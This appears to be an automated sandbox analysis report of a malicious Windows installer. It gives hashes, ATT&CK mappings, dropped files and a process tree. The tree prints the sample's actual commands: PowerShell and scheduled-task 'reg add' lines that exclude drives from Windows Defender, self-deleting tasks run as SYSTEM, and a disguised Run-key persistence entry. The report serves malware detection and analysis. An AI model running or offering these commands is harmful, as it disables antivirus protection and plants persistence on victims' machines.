d0d580e73af5913a8100fb5d79e2c919aafd4e4403ac5309b835b4e1e149c0ba

Analysis

max time kernel
145s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/09/2026, 20:53

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General

Target
install_q2.0.18.exe
Size 25.4MB
Sample260903-zpp2qawbme
SHA256 d0d580e73af5913a8100fb5d79e2c919aafd4e4403ac5309b835b4e1e149c0ba
MD5 be08c84858b0880ebb5441fceb5ce680
SHA1 60df39a209c27dfa33c2c77865943cabe4cd46e8
SHA512 7e44daac982f966e94dd97979e3974ce319f55b825cbb4f1e35817fa8bd05065d2272ed0f435beab555c56c45dc640696152a4bd9163bf85ef86070bcb1e6aaf
SSDEEP 49152:YKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46k:djAIMaQi7kmeHh2yeH7rkfvVsX+N0
TLSH
T14047E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5516	JwAQGZ.exe

Loads dropped DLL 1 IoCs

pid	Process
5516	JwAQGZ.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\xWbIG9\\JwAQGZ.exe\""	JwAQGZ.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2240	cmd.exe
1884	cmd.exe
4896	cmd.exe
4784	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	JwAQGZ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3056	cmd.exe
4148	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
748	schtasks.exe
1160	schtasks.exe
1520	schtasks.exe
2136	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
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1692	install_q2.0.18.exe
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1692	install_q2.0.18.exe
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1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
1692	install_q2.0.18.exe
5516	JwAQGZ.exe
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Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
"C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1692

C:\Users\Public\xWbIG9\JwAQGZ.exe
"C:\Users\Public\xWbIG9\JwAQGZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xWbIG9\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xWbIG9\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1160

C:\Users\Public\xWbIG9\JwAQGZ.exe
"C:\Users\Public\xWbIG9\JwAQGZ.exe"
1⤵
PID:2700

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xWbIG9" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3056

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4568

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
Size 1KB
SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
MD5 b15dfb1600ace7f0c686862d26b733ad
SHA1 3bfa41f3ea756f0377dbc2900736ca74c8d42702
SHA512 3d261c2965f608b6af5490e10522db148140bb73a1332a132742db0d4c78783c93273c594e2465011a2062a043e0027281f6062f90aff584fc603162bd1d79fd
TLSH
T1A831B04EA2053023DA49BF72D8CE7E83CDB0374BABCAD45B19445E4229AAFC25FC40C5
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1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
Size 186B
SHA256 fee39636d5e1440c0a8361e0d69d86e10ff99da75ae79a93ac4b3b205cb00f46
MD5 67ec5b09abc5e83e7f94ee9cef5ab9b5
SHA1 a211a34823ca947e4162f56487cb2b7c946d830c
SHA512 96b53297b6cf8fabcbbea19cabf279739017e2af7e0c390e8bf3820d1b59b2cfc08458788fb8efdee960d7386545a6fbe98e941e478ad9d71ebaab003b981746
TLSH
T15EC04C94537C4358F075693E6D914AE19F7F5D1AB512C3650B75424C8878A100832A26
MD5 SHA1 SHA512 TLSH

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JwAQGZ.exe

Path C:\Users\Public\xWbIG9\JwAQGZ.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

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UxEnhance64.dll

Path C:\Users\Public\xWbIG9\UxEnhance64.dll
Size 3.1MB
SHA256 fd7f081cc0630ef5361a88cf5e949b8b5432669c08e4e7f646ce60b6eda9768d
MD5 edc178a3f92fe09e51bc6d7c769c547a
SHA1 35c63e10e01c3946324251306bb517f47fddf565
SHA512 72585ee9382ed76585ec415bbd95617c8810fd1e9f856ec984e94c4ad90e58c1e99a9129861344f8ed213a48fb1be4c1961e5d453ea32f4a43111191dc968869
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
TLSH
T1F9E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

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adoresd.dat

Path C:\Users\Public\xWbIG9\adoresd.dat
Size 4.7MB
SHA256 1862f9d28846cdb7632050591dbb8490bda35d8c12e5a35f664b532feb0b3563
MD5 a2a59689185e6dfa22eb4587db4b4f17
SHA1 513b1cd6aebc667d28aad4f0b2d5f5e7a4050ca1
SHA512 ffcb69d24b334c8ee7e0427a329c359ec2a307e2541cd32a699f904c168de38cb6aefcdc1bb7a2e9c53ff31e010165a74caf5f35edc625fbff8eec1ab19e8436
SSDEEP 98304:VKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:VKClqhi0Cv54K2IVS0VQg
TLSH
T1853633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

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msadox.tb

Path C:\Users\Public\xWbIG9\msadox.tb
Size 8KB
SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
MD5 5c5456d5456a11af49fb071c0abb6073
SHA1 80ab103fcfd0e3770c98f747d719a121d6e25587
SHA512 59cf4807b4f3e53e299123a3ab892f20a198d50625606c36ce39a853e9a33565de7a66fbb7fe71f4f4a970c6db65281684a464dedfc2e96aa24fffbb48b31d29
SSDEEP 192:vqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:vsZqZOXQ3uqvR2Kfzp
TLSH
T10D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/1692-529-0x00007FF932890000-0x00007FF9328A2000-memory.dmp

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memory/1692-2-0x0000000000490000-0x000000000049C000-memory.dmp

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memory/1692-1-0x0000000000480000-0x000000000048E000-memory.dmp

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memory/1692-0-0x0000000000480000-0x000000000048E000-memory.dmp

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memory/5516-548-0x0000022CCB300000-0x0000022CCBB87000-memory.dmp

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memory/5516-547-0x0000022CCB300000-0x0000022CCBB87000-memory.dmp

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memory/5516-542-0x00007FF9430A0000-0x00007FF9430A2000-memory.dmp

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memory/5516-541-0x0000022CCB300000-0x0000022CCBB87000-memory.dmp

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memory/5516-534-0x00007FF943090000-0x00007FF943092000-memory.dmp

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